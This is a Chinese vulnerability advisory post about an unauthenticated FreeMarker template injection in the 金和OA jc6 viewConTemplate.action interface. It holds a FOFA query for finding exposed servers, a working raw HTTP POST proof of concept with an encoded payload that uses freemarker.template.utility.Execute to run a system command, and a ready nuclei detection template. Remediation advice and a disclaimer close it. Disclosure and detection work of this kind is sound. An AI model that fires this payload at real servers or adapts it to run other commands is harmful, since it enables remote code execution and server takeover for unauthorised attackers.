金和OA jc6 viewConTemplate.action存在FreeMarker模板注入漏洞

漏洞描述

金和OA-jc6-viewConTemplate.action接口存在FreeMarker模板注入漏洞，未经身份验证的攻击者可以利用此漏洞远程代码执行、写入后门文件，导致服务器存在被控的风险。

产品界面

fofa语法

body="/jc6/platform/index/styles"

POC

1. POST /jc6/platform/portalwb/portalwb-con-template!viewConTemplate.action HTTP/1.1
2. Host:
3. Accept-Encoding: gzip
4. Content-Type: application/x-www-form-urlencoded
6. moduId=1&code=%253Cclob%253E%2524%257B%2522freemarker.template.utility.Execute%2522%253Fnew%28%29%28%2522ipconfig%2522%29%257D%253C%252Fclob%253E&uuid=1

nuclei验证

1. id: jinhe-OA-jc6-viewConTemplate-RCE
3. info:
4. name: 金和OA jc6 viewConTemplate.action存在FreeMarker模板注入漏洞
5. author: nobody
6. severity: critical
7. description: |
8. 金和OA-jc6-viewConTemplate.action接口存在FreeMarker模板注入漏洞，未经身份验证的攻击者可以利用此漏洞远程代码执行、写入后门文件，导致服务器存在被控的风险。
9. impact: |
10. 未经身份验证的攻击者可以利用此漏洞远程代码执行
11. remediation: |
12. 升级版本，打补丁
13. metadata:
14. verified: true
15. max-request: 3
16. fofa-query: body="/jc6/platform/index/styles"
17. tags: OA,rce
19. requests:
20. - raw:
21. - |
22. POST /jc6/platform/portalwb/portalwb-con-template!viewConTemplate.action HTTP/1.1
23. Host: {{Hostname}}
24. Accept-Encoding: gzip
25. Content-Type: application/x-www-form-urlencoded
27. moduId=1&code=%253Cclob%253E%2524%257B%2522freemarker.template.utility.Execute%2522%253Fnew%28%29%28%2522ipconfig%2522%29%257D%253C%252Fclob%253E&uuid=1
29. matchers:
30. - type: dsl
31. dsl:
32. - status_code == 200 && contains_all(body,"</clob>")

修复建议

• 建议升级到最新版本或打补丁
• 非必要禁止公网访问或白名单访问

•   申明：本账号所分享内容仅用于网络安全技术讨论，切勿用于违法途径，所有渗透都需获取授权，违者后果自行承担，与本号及作者无关，请谨记守法。